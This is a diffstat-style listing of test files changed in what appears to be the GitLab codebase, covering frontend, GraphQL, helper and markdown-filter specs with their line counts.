-rw-r--r--spec/frontend/jobs/components/sidebar_spec.js30
-rw-r--r--spec/frontend/jobs/components/stages_dropdown_spec.js155
-rw-r--r--spec/frontend/jobs/components/table/jobs_table_spec.js31
-rw-r--r--spec/frontend/jobs/components/table/jobs_table_tabs_spec.js42
-rw-r--r--spec/frontend/jobs/mock_data.js215
-rw-r--r--spec/frontend/lib/utils/color_utils_spec.js27
-rw-r--r--spec/frontend/lib/utils/common_utils_spec.js10
-rw-r--r--spec/frontend/lib/utils/datetime_utility_spec.js80
-rw-r--r--spec/frontend/lib/utils/forms_spec.js163
-rw-r--r--spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js1
-rw-r--r--spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js15
-rw-r--r--spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js2
-rw-r--r--spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js11
-rw-r--r--spec/frontend/members/components/action_buttons/remove_member_button_spec.js21
-rw-r--r--spec/frontend/members/components/action_buttons/resend_invite_button_spec.js15
-rw-r--r--spec/frontend/members/components/action_buttons/user_action_buttons_spec.js46
-rw-r--r--spec/frontend/members/components/app_spec.js25
-rw-r--r--spec/frontend/members/components/avatars/user_avatar_spec.js16
-rw-r--r--spec/frontend/members/components/filter_sort/filter_sort_container_spec.js27
-rw-r--r--spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js50
-rw-r--r--spec/frontend/members/components/filter_sort/sort_dropdown_spec.js29
-rw-r--r--spec/frontend/members/components/modals/leave_modal_spec.js42
-rw-r--r--spec/frontend/members/components/modals/remove_group_link_modal_spec.js22
-rw-r--r--spec/frontend/members/components/table/expiration_datepicker_spec.js10
-rw-r--r--spec/frontend/members/components/table/members_table_cell_spec.js12
-rw-r--r--spec/frontend/members/components/table/members_table_spec.js32
-rw-r--r--spec/frontend/members/components/table/role_dropdown_spec.js10
-rw-r--r--spec/frontend/members/index_spec.js47
-rw-r--r--spec/frontend/members/mock_data.js2
-rw-r--r--spec/frontend/merge_conflicts/components/merge_conflict_resolver_app_spec.js131
-rw-r--r--spec/frontend/merge_conflicts/mock_data.js340
-rw-r--r--spec/frontend/merge_conflicts/store/actions_spec.js125
-rw-r--r--spec/frontend/merge_conflicts/store/getters_spec.js187
-rw-r--r--spec/frontend/merge_conflicts/store/mutations_spec.js99
-rw-r--r--spec/frontend/merge_conflicts/utils_spec.js106
-rw-r--r--spec/frontend/merge_request/components/status_box_spec.js2
-rw-r--r--spec/frontend/mini_pipeline_graph_dropdown_spec.js104
-rw-r--r--spec/frontend/mocks/ce/diffs/workers/tree_worker.js1
-rw-r--r--spec/frontend/mocks/ce/ide/lib/diff/diff_worker.js1
-rw-r--r--spec/frontend/mr_notes/stores/actions_spec.js92
-rw-r--r--spec/frontend/mr_notes/stores/mutations_spec.js27
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js67
-rw-r--r--spec/frontend/notes/components/discussion_navigator_spec.js13
-rw-r--r--spec/frontend/notes/components/note_actions_spec.js16
-rw-r--r--spec/frontend/notes/components/note_body_spec.js17
-rw-r--r--spec/frontend/notes/components/noteable_discussion_spec.js9
-rw-r--r--spec/frontend/notes/components/noteable_note_spec.js133
-rw-r--r--spec/frontend/notes/components/notes_app_spec.js30
-rw-r--r--spec/frontend/notes/mock_data.js16
-rw-r--r--spec/frontend/notes/stores/getters_spec.js69
-rw-r--r--spec/frontend/packages/details/store/getters_spec.js2
-rw-r--r--spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap10
-rw-r--r--spec/frontend/packages/list/components/packages_list_app_spec.js133
-rw-r--r--spec/frontend/packages/list/components/packages_search_spec.js29
-rw-r--r--spec/frontend/packages/list/components/packages_title_spec.js18
-rw-r--r--spec/frontend/packages/list/utils_spec.js11
-rw-r--r--spec/frontend/packages/mock_data.js17
-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap15
-rw-r--r--spec/frontend/packages/shared/components/package_icon_and_name_spec.js32
-rw-r--r--spec/frontend/packages/shared/components/package_list_row_spec.js41
-rw-r--r--spec/frontend/packages/shared/utils_spec.js1
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js28
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js135
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js75
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/maven_settings_spec.js5
-rw-r--r--spec/frontend/packages_and_registries/shared/utils_spec.js59
-rw-r--r--spec/frontend/pager_spec.js71
-rw-r--r--spec/frontend/pages/admin/users/components/__snapshots__/delete_user_modal_spec.js.snap4
-rw-r--r--spec/frontend/pages/admin/users/components/delete_user_modal_spec.js8
-rw-r--r--spec/frontend/pages/admin/users/new/index_spec.js41
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_form_spec.js35
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap374
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap70
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_section_card_spec.js.snap67
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_a_spec.js30
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_b_spec.js6
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_card_spec.js26
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js49
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/mock_data.js5
-rw-r--r--spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js45
-rw-r--r--spec/frontend/pages/shared/wikis/components/wiki_alert_spec.js (renamed from spec/frontend/pages/shared/wikis/wiki_alert_spec.js)0
-rw-r--r--spec/frontend/pages/shared/wikis/components/wiki_form_spec.js222
-rw-r--r--spec/frontend/performance_bar/components/detailed_metric_spec.js304
-rw-r--r--spec/frontend/performance_bar/stores/performance_bar_store_spec.js40
-rw-r--r--spec/frontend/pipeline_editor/components/code_snippet_alert/code_snippet_alert_spec.js61
-rw-r--r--spec/frontend/pipeline_editor/components/editor/ci_config_merged_preview_spec.js21
-rw-r--r--spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js123
-rw-r--r--spec/frontend/pipeline_editor/components/file-nav/pipeline_editor_file_nav_spec.js49
-rw-r--r--spec/frontend/pipeline_editor/components/header/pipeline_editor_header_spec.js16
-rw-r--r--spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js55
-rw-r--r--spec/frontend/pipeline_editor/components/header/validation_segment_spec.js93
-rw-r--r--spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js5
-rw-r--r--spec/frontend/pipeline_editor/components/lint/ci_lint_spec.js17
-rw-r--r--spec/frontend/pipeline_editor/components/pipeline_editor_tabs_spec.js54
-rw-r--r--spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js57
-rw-r--r--spec/frontend/pipeline_editor/graphql/resolvers_spec.js18
-rw-r--r--spec/frontend/pipeline_editor/mock_data.js14
-rw-r--r--spec/frontend/pipeline_editor/pipeline_editor_app_spec.js91
-rw-r--r--spec/frontend/pipeline_editor/pipeline_editor_home_spec.js7
-rw-r--r--spec/frontend/pipelines/blank_state_spec.js20
-rw-r--r--spec/frontend/pipelines/components/pipelines_list/pipeline_stage_spec.js9
-rw-r--r--spec/frontend/pipelines/graph/action_component_spec.js2
-rw-r--r--spec/frontend/pipelines/graph/graph_component_spec.js31
-rw-r--r--spec/frontend/pipelines/graph/graph_component_wrapper_spec.js172
-rw-r--r--spec/frontend/pipelines/graph/job_group_dropdown_spec.js8
-rw-r--r--spec/frontend/pipelines/graph/job_item_spec.js4
-rw-r--r--spec/frontend/pipelines/graph/job_name_component_spec.js2
-rw-r--r--spec/frontend/pipelines/graph/linked_pipelines_column_spec.js33
-rw-r--r--spec/frontend/pipelines/graph/mock_data.js18
-rw-r--r--spec/frontend/pipelines/graph/stage_column_component_spec.js30
-rw-r--r--spec/frontend/pipelines/graph_shared/links_inner_spec.js2
-rw-r--r--spec/frontend/pipelines/graph_shared/links_layer_spec.js13
-rw-r--r--spec/frontend/pipelines/nav_controls_spec.js60
-rw-r--r--spec/frontend/pipelines/notification/pipeline_notification_spec.js79
-rw-r--r--spec/frontend/pipelines/pipeline_graph/mock_data.js36
-rw-r--r--spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js60
-rw-r--r--spec/frontend/pipelines/pipelines_ci_templates_spec.js111
-rw-r--r--spec/frontend/pipelines/pipelines_spec.js45
-rw-r--r--spec/frontend/pipelines/pipelines_table_row_spec.js239
-rw-r--r--spec/frontend/pipelines/pipelines_table_spec.js56
-rw-r--r--spec/frontend/pipelines/time_ago_spec.js69
-rw-r--r--spec/frontend/pipelines/unwrapping_utils_spec.js4
-rw-r--r--spec/frontend/projects/commit/components/branches_dropdown_spec.js6
-rw-r--r--spec/frontend/projects/commit/components/commit_comments_button_spec.js42
-rw-r--r--spec/frontend/projects/commit/components/commit_options_dropdown_spec.js123
-rw-r--r--spec/frontend/projects/commit/components/form_modal_spec.js11
-rw-r--r--spec/frontend/projects/commit/components/form_trigger_spec.js44
-rw-r--r--spec/frontend/projects/commit/mock_data.js2
-rw-r--r--spec/frontend/projects/commit/store/mutations_spec.js6
-rw-r--r--spec/frontend/projects/commit_box/info/load_branches_spec.js41
-rw-r--r--spec/frontend/projects/compare/components/app_legacy_spec.js55
-rw-r--r--spec/frontend/projects/compare/components/repo_dropdown_spec.js22
-rw-r--r--spec/frontend/projects/compare/components/revision_dropdown_legacy_spec.js25
-rw-r--r--spec/frontend/projects/compare/components/revision_dropdown_spec.js41
-rw-r--r--spec/frontend/projects/experiment_new_project_creation/components/app_spec.js52
-rw-r--r--spec/frontend/projects/experiment_new_project_creation/components/welcome_spec.js31
-rw-r--r--spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap6
-rw-r--r--spec/frontend/projects/pipelines/charts/components/app_spec.js57
-rw-r--r--spec/frontend/registry/explorer/pages/list_spec.js91
-rw-r--r--spec/frontend/registry/settings/components/settings_form_spec.js82
-rw-r--r--spec/frontend/releases/components/app_edit_new_spec.js10
-rw-r--r--spec/frontend/releases/components/app_index_spec.js8
-rw-r--r--spec/frontend/releases/components/app_show_spec.js189
-rw-r--r--spec/frontend/releases/components/asset_links_form_spec.js2
-rw-r--r--spec/frontend/releases/components/release_block_milestone_info_spec.js2
-rw-r--r--spec/frontend/releases/components/releases_pagination_graphql_spec.js16
-rw-r--r--spec/frontend/releases/components/releases_pagination_rest_spec.js14
-rw-r--r--spec/frontend/releases/components/releases_sort_spec.js12
-rw-r--r--spec/frontend/releases/components/tag_field_exsting_spec.js6
-rw-r--r--spec/frontend/releases/components/tag_field_new_spec.js14
-rw-r--r--spec/frontend/releases/components/tag_field_spec.js6
-rw-r--r--spec/frontend/releases/stores/modules/detail/actions_spec.js10
-rw-r--r--spec/frontend/releases/stores/modules/detail/getters_spec.js4
-rw-r--r--spec/frontend/releases/stores/modules/detail/mutations_spec.js8
-rw-r--r--spec/frontend/releases/stores/modules/list/actions_spec.js6
-rw-r--r--spec/frontend/releases/stores/modules/list/helpers.js2
-rw-r--r--spec/frontend/releases/stores/modules/list/mutations_spec.js6
-rw-r--r--spec/frontend/reports/components/report_section_spec.js22
-rw-r--r--spec/frontend/reports/grouped_test_report/components/modal_spec.js9
-rw-r--r--spec/frontend/reports/grouped_test_report/components/test_issue_body_spec.js2
-rw-r--r--spec/frontend/reports/grouped_test_report/grouped_test_reports_app_spec.js41
-rw-r--r--spec/frontend/reports/grouped_test_report/store/actions_spec.js17
-rw-r--r--spec/frontend/reports/grouped_test_report/store/mutations_spec.js8
-rw-r--r--spec/frontend/reports/grouped_test_report/store/utils_spec.js14
-rw-r--r--spec/frontend/repository/components/__snapshots__/directory_download_links_spec.js.snap40
-rw-r--r--spec/frontend/repository/components/blob_content_viewer_spec.js86
-rw-r--r--spec/frontend/repository/components/breadcrumbs_spec.js84
-rw-r--r--spec/frontend/repository/components/table/row_spec.js5
-rw-r--r--spec/frontend/repository/pages/blob_spec.js25
-rw-r--r--spec/frontend/repository/router_spec.js2
-rw-r--r--spec/frontend/runner/runner_detail/runner_detail_app_spec.js29
-rw-r--r--spec/frontend/security_configuration/configuration_table_spec.js2
-rw-r--r--spec/frontend/security_configuration/manage_sast_spec.js2
-rw-r--r--spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap4
-rw-r--r--spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js58
-rw-r--r--spec/frontend/sidebar/assignees_realtime_spec.js15
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js558
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_editable_item_spec.js33
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js59
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_participant_spec.js43
-rw-r--r--spec/frontend/sidebar/components/confidential/sidebar_confidentiality_form_spec.js4
-rw-r--r--spec/frontend/sidebar/components/confidential/sidebar_confidentiality_widget_spec.js4
-rw-r--r--spec/frontend/sidebar/components/copy_email_to_clipboard_spec.js19
-rw-r--r--spec/frontend/sidebar/components/due_date/sidebar_due_date_widget_spec.js106
-rw-r--r--spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js70
-rw-r--r--spec/frontend/sidebar/issuable_assignees_spec.js19
-rw-r--r--spec/frontend/sidebar/mock_data.js156
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_description_edit_spec.js.snap2
-rw-r--r--spec/frontend/snippets/components/edit_spec.js71
-rw-r--r--spec/frontend/tags/components/sort_dropdown_spec.js81
-rw-r--r--spec/frontend/tracking_spec.js76
-rw-r--r--spec/frontend/users_select/index_spec.js223
-rw-r--r--spec/frontend/vue_alerts_spec.js8
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_author_time_spec.js43
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js156
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js91
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_auto_merge_enabled_spec.js29
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js19
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js166
-rw-r--r--spec/frontend/vue_shared/alert_details/alert_details_spec.js10
-rw-r--r--spec/frontend/vue_shared/alert_details/alert_status_spec.js19
-rw-r--r--spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_spec.js16
-rw-r--r--spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js31
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap2
-rw-r--r--spec/frontend/vue_shared/components/alert_details_table_spec.js83
-rw-r--r--spec/frontend/vue_shared/components/blob_viewers/__snapshots__/simple_viewer_spec.js.snap141
-rw-r--r--spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/delete_label_modal_spec.js64
-rw-r--r--spec/frontend/vue_shared/components/deprecated_modal_spec.js73
-rw-r--r--spec/frontend/vue_shared/components/ensure_data_spec.js145
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js47
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js217
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js180
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js16
-rw-r--r--spec/frontend/vue_shared/components/gl_toggle_vuex_spec.js114
-rw-r--r--spec/frontend/vue_shared/components/help_popover_spec.js14
-rw-r--r--spec/frontend/vue_shared/components/lib/utils/props_utils_spec.js91
-rw-r--r--spec/frontend/vue_shared/components/markdown/suggestion_diff_header_spec.js34
-rw-r--r--spec/frontend/vue_shared/components/markdown/toolbar_spec.js64
-rw-r--r--spec/frontend/vue_shared/components/recaptcha_eventhub_spec.js21
-rw-r--r--spec/frontend/vue_shared/components/recaptcha_modal_spec.js35
-rw-r--r--spec/frontend/vue_shared/components/registry/registry_search_spec.js57
-rw-r--r--spec/frontend/vue_shared/components/remove_member_modal_spec.js61
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/mock_data.js16
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js184
-rw-r--r--spec/frontend/vue_shared/components/runner_instructions/runner_instructions_spec.js110
-rw-r--r--spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js74
-rw-r--r--spec/frontend/vue_shared/components/url_sync_spec.js97
-rw-r--r--spec/frontend/vue_shared/components/user_popover/user_popover_spec.js6
-rw-r--r--spec/frontend/vue_shared/oncall_schedules_list_spec.js87
-rw-r--r--spec/frontend/whats_new/components/app_spec.js59
-rw-r--r--spec/frontend/whats_new/store/actions_spec.js11
-rw-r--r--spec/frontend/whats_new/utils/notification_spec.js23
-rw-r--r--spec/frontend/wikis_spec.js153
-rw-r--r--spec/frontend_integration/diffs/diffs_interopability_api.js25
-rw-r--r--spec/frontend_integration/diffs/diffs_interopability_spec.js161
-rw-r--r--spec/frontend_integration/test_helpers/fixtures.js6
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/graphql.js11
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/index.js2
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/routes/diffs.js22
-rw-r--r--spec/frontend_integration/test_helpers/mock_server/routes/index.js1
-rw-r--r--spec/graphql/features/authorization_spec.rb134
-rw-r--r--spec/graphql/gitlab_schema_spec.rb39
-rw-r--r--spec/graphql/mutations/boards/issues/issue_move_list_spec.rb66
-rw-r--r--spec/graphql/mutations/concerns/mutations/can_mutate_spammable_spec.rb46
-rw-r--r--spec/graphql/mutations/design_management/upload_spec.rb14
-rw-r--r--spec/graphql/mutations/issues/set_assignees_spec.rb7
-rw-r--r--spec/graphql/mutations/merge_requests/set_assignees_spec.rb7
-rw-r--r--spec/graphql/mutations/release_asset_links/delete_spec.rb58
-rw-r--r--spec/graphql/mutations/release_asset_links/update_spec.rb2
-rw-r--r--spec/graphql/resolvers/alert_management/http_integrations_resolver_spec.rb20
-rw-r--r--spec/graphql/resolvers/alert_management/integrations_resolver_spec.rb39
-rw-r--r--spec/graphql/resolvers/blobs_resolver_spec.rb74
-rw-r--r--spec/graphql/resolvers/board_list_issues_resolver_spec.rb18
-rw-r--r--spec/graphql/resolvers/ci/jobs_resolver_spec.rb17
-rw-r--r--spec/graphql/resolvers/ci/runner_platforms_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/ci/runner_setup_resolver_spec.rb77
-rw-r--r--spec/graphql/resolvers/ci/test_report_summary_resolver_spec.rb46
-rw-r--r--spec/graphql/resolvers/ci/test_suite_resolver_spec.rb54
-rw-r--r--spec/graphql/resolvers/concerns/looks_ahead_spec.rb9
-rw-r--r--spec/graphql/resolvers/group_milestones_resolver_spec.rb51
-rw-r--r--spec/graphql/resolvers/issue_status_counts_resolver_spec.rb8
-rw-r--r--spec/graphql/resolvers/issues_resolver_spec.rb45
-rw-r--r--spec/graphql/resolvers/merge_requests_resolver_spec.rb64
-rw-r--r--spec/graphql/resolvers/namespace_projects_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/project_jobs_resolver_spec.rb51
-rw-r--r--spec/graphql/resolvers/project_pipeline_resolver_spec.rb15
-rw-r--r--spec/graphql/resolvers/repository_branch_names_resolver_spec.rb36
-rw-r--r--spec/graphql/resolvers/timelog_resolver_spec.rb168
-rw-r--r--spec/graphql/resolvers/users/snippets_resolver_spec.rb14
-rw-r--r--spec/graphql/types/admin/analytics/usage_trends/measurement_type_spec.rb3
-rw-r--r--spec/graphql/types/alert_management/prometheus_integration_type_spec.rb24
-rw-r--r--spec/graphql/types/base_enum_spec.rb48
-rw-r--r--spec/graphql/types/base_object_spec.rb432
-rw-r--r--spec/graphql/types/board_type_spec.rb14
-rw-r--r--spec/graphql/types/boards/board_issue_input_type_spec.rb4
-rw-r--r--spec/graphql/types/ci/job_status_enum_spec.rb13
-rw-r--r--spec/graphql/types/ci/job_type_spec.rb28
-rw-r--r--spec/graphql/types/ci/pipeline_type_spec.rb5
-rw-r--r--spec/graphql/types/ci/recent_failures_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/stage_type_spec.rb1
-rw-r--r--spec/graphql/types/ci/test_case_status_enum_spec.rb13
-rw-r--r--spec/graphql/types/ci/test_case_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/test_report_summary_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/test_report_total_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/test_suite_summary_type_spec.rb15
-rw-r--r--spec/graphql/types/ci/test_suite_type_spec.rb15
-rw-r--r--spec/graphql/types/global_id_type_spec.rb1
-rw-r--r--spec/graphql/types/issue_type_spec.rb2
-rw-r--r--spec/graphql/types/merge_request_review_state_enum_spec.rb18
-rw-r--r--spec/graphql/types/merge_requests/reviewer_type_spec.rb50
-rw-r--r--spec/graphql/types/milestone_type_spec.rb2
-rw-r--r--spec/graphql/types/packages/conan/file_metadatum_type_spec.rb13
-rw-r--r--spec/graphql/types/packages/conan/metadatum_file_type_enum_spec.rb13
-rw-r--r--spec/graphql/types/packages/conan/metadatum_type_spec.rb13
-rw-r--r--spec/graphql/types/packages/package_details_type_spec.rb13
-rw-r--r--spec/graphql/types/packages/package_file_type_spec.rb13
-rw-r--r--spec/graphql/types/packages/package_type_spec.rb2
-rw-r--r--spec/graphql/types/packages/package_without_versions_type_spec.rb13
-rw-r--r--spec/graphql/types/project_type_spec.rb32
-rw-r--r--spec/graphql/types/query_type_spec.rb2
-rw-r--r--spec/graphql/types/repository/blob_type_spec.rb9
-rw-r--r--spec/graphql/types/repository_type_spec.rb4
-rw-r--r--spec/graphql/types/snippet_type_spec.rb2
-rw-r--r--spec/graphql/types/timelog_type_spec.rb35
-rw-r--r--spec/graphql/types/user_merge_request_interaction_type_spec.rb116
-rw-r--r--spec/helpers/application_helper_spec.rb18
-rw-r--r--spec/helpers/avatars_helper_spec.rb24
-rw-r--r--spec/helpers/blob_helper_spec.rb10
-rw-r--r--spec/helpers/boards_helper_spec.rb24
-rw-r--r--spec/helpers/broadcast_messages_helper_spec.rb1
-rw-r--r--spec/helpers/button_helper_spec.rb7
-rw-r--r--spec/helpers/ci/pipeline_editor_helper_spec.rb32
-rw-r--r--spec/helpers/ci/runners_helper_spec.rb30
-rw-r--r--spec/helpers/commits_helper_spec.rb127
-rw-r--r--spec/helpers/diff_helper_spec.rb38
-rw-r--r--spec/helpers/graph_helper_spec.rb4
-rw-r--r--spec/helpers/groups_helper_spec.rb161
-rw-r--r--spec/helpers/ide_helper_spec.rb8
-rw-r--r--spec/helpers/invite_members_helper_spec.rb3
-rw-r--r--spec/helpers/issuables_helper_spec.rb54
-rw-r--r--spec/helpers/issues_helper_spec.rb51
-rw-r--r--spec/helpers/jira_connect_helper_spec.rb1
-rw-r--r--spec/helpers/labels_helper_spec.rb1
-rw-r--r--spec/helpers/learn_gitlab_helper_spec.rb1
-rw-r--r--spec/helpers/markup_helper_spec.rb25
-rw-r--r--spec/helpers/namespaces_helper_spec.rb71
-rw-r--r--spec/helpers/nav_helper_spec.rb6
-rw-r--r--spec/helpers/notes_helper_spec.rb2
-rw-r--r--spec/helpers/page_layout_helper_spec.rb52
-rw-r--r--spec/helpers/preferences_helper_spec.rb2
-rw-r--r--spec/helpers/profiles_helper_spec.rb40
-rw-r--r--spec/helpers/projects/alert_management_helper_spec.rb1
-rw-r--r--spec/helpers/projects/issues/service_desk_helper_spec.rb1
-rw-r--r--spec/helpers/projects/project_members_helper_spec.rb2
-rw-r--r--spec/helpers/projects/terraform_helper_spec.rb1
-rw-r--r--spec/helpers/projects_helper_spec.rb1
-rw-r--r--spec/helpers/search_helper_spec.rb1
-rw-r--r--spec/helpers/services_helper_spec.rb14
-rw-r--r--spec/helpers/sidebars_helper_spec.rb45
-rw-r--r--spec/helpers/snippets_helper_spec.rb28
-rw-r--r--spec/helpers/tab_helper_spec.rb115
-rw-r--r--spec/helpers/timeboxes_helper_spec.rb36
-rw-r--r--spec/helpers/todos_helper_spec.rb20
-rw-r--r--spec/helpers/tracking_helper_spec.rb2
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb42
-rw-r--r--spec/helpers/whats_new_helper_spec.rb48
-rw-r--r--spec/helpers/wiki_helper_spec.rb2
-rw-r--r--spec/initializers/active_record_locking_spec.rb4
-rw-r--r--spec/initializers/fog_google_https_private_urls_spec.rb2
-rw-r--r--spec/initializers/json_validator_patch_spec.rb39
-rw-r--r--spec/initializers/kramdown_patch_spec.rb38
-rw-r--r--spec/initializers/pages_storage_check_spec.rb94
-rw-r--r--spec/knapsack_env.rb11
-rw-r--r--spec/lib/api/entities/clusters/agent_spec.rb16
-rw-r--r--spec/lib/api/entities/design_management/design_spec.rb1
-rw-r--r--spec/lib/api/entities/merge_request_changes_spec.rb1
-rw-r--r--spec/lib/api/entities/project_import_failed_relation_spec.rb2
-rw-r--r--spec/lib/api/entities/release_spec.rb1
-rw-r--r--spec/lib/api/helpers/authentication_spec.rb15
-rw-r--r--spec/lib/api/helpers/caching_spec.rb139
-rw-r--r--spec/lib/api/helpers/packages/dependency_proxy_helpers_spec.rb10
-rw-r--r--spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb3
-rw-r--r--spec/lib/api/helpers/variables_helpers_spec.rb43
-rw-r--r--spec/lib/api/helpers_spec.rb109
-rw-r--r--spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb2
-rw-r--r--spec/lib/banzai/filter/abstract_reference_filter_spec.rb102
-rw-r--r--spec/lib/banzai/filter/alert_reference_filter_spec.rb223
-rw-r--r--spec/lib/banzai/filter/commit_range_reference_filter_spec.rb255
-rw-r--r--spec/lib/banzai/filter/commit_reference_filter_spec.rb272
-rw-r--r--spec/lib/banzai/filter/commit_trailers_filter_spec.rb6
-rw-r--r--spec/lib/banzai/filter/design_reference_filter_spec.rb287
-rw-r--r--spec/lib/banzai/filter/external_issue_reference_filter_spec.rb256
-rw-r--r--spec/lib/banzai/filter/feature_flag_reference_filter_spec.rb223
-rw-r--r--spec/lib/banzai/filter/gollum_tags_filter_spec.rb12
-rw-r--r--spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb3
-rw-r--r--spec/lib/banzai/filter/issue_reference_filter_spec.rb549
-rw-r--r--spec/lib/banzai/filter/label_reference_filter_spec.rb705
-rw-r--r--spec/lib/banzai/filter/math_filter_spec.rb10
-rw-r--r--spec/lib/banzai/filter/merge_request_reference_filter_spec.rb289
-rw-r--r--spec/lib/banzai/filter/milestone_reference_filter_spec.rb463
-rw-r--r--spec/lib/banzai/filter/project_reference_filter_spec.rb100
-rw-r--r--spec/lib/banzai/filter/reference_filter_spec.rb224
-rw-r--r--spec/lib/banzai/filter/references/abstract_reference_filter_spec.rb102
-rw-r--r--spec/lib/banzai/filter/references/alert_reference_filter_spec.rb223
-rw-r--r--spec/lib/banzai/filter/references/commit_range_reference_filter_spec.rb255
-rw-r--r--spec/lib/banzai/filter/references/commit_reference_filter_spec.rb272
-rw-r--r--spec/lib/banzai/filter/references/design_reference_filter_spec.rb287
-rw-r--r--spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb257
-rw-r--r--spec/lib/banzai/filter/references/feature_flag_reference_filter_spec.rb223
-rw-r--r--spec/lib/banzai/filter/references/issue_reference_filter_spec.rb549
-rw-r--r--spec/lib/banzai/filter/references/label_reference_filter_spec.rb705
-rw-r--r--spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb289
-rw-r--r--spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb463
-rw-r--r--spec/lib/banzai/filter/references/project_reference_filter_spec.rb100
-rw-r--r--spec/lib/banzai/filter/references/reference_filter_spec.rb224
-rw-r--r--spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb222
-rw-r--r--spec/lib/banzai/filter/references/user_reference_filter_spec.rb204
-rw-r--r--spec/lib/banzai/filter/snippet_reference_filter_spec.rb222
-rw-r--r--spec/lib/banzai/filter/suggestion_filter_spec.rb4
-rw-r--r--spec/lib/banzai/filter/syntax_highlight_filter_spec.rb12
-rw-r--r--spec/lib/banzai/filter/upload_link_filter_spec.rb2
-rw-r--r--spec/lib/banzai/filter/user_reference_filter_spec.rb204
-rw-r--r--spec/lib/banzai/filter/wiki_link_filter_spec.rb9
-rw-r--r--spec/lib/banzai/pipeline/gfm_pipeline_spec.rb3
-rw-r--r--spec/lib/banzai/pipeline/wiki_pipeline_spec.rb25
-rw-r--r--spec/lib/banzai/reference_parser/external_issue_parser_spec.rb2
-rw-r--r--spec/lib/banzai/reference_redactor_spec.rb2
-rw-r--r--spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb31
-rw-r--r--spec/lib/bulk_imports/common/transformers/user_reference_transformer_spec.rb28
-rw-r--r--spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb3
-rw-r--r--spec/lib/bulk_imports/groups/graphql/get_group_query_spec.rb6
-rw-r--r--spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb4
-rw-r--r--spec/lib/bulk_imports/groups/graphql/get_members_query_spec.rb4
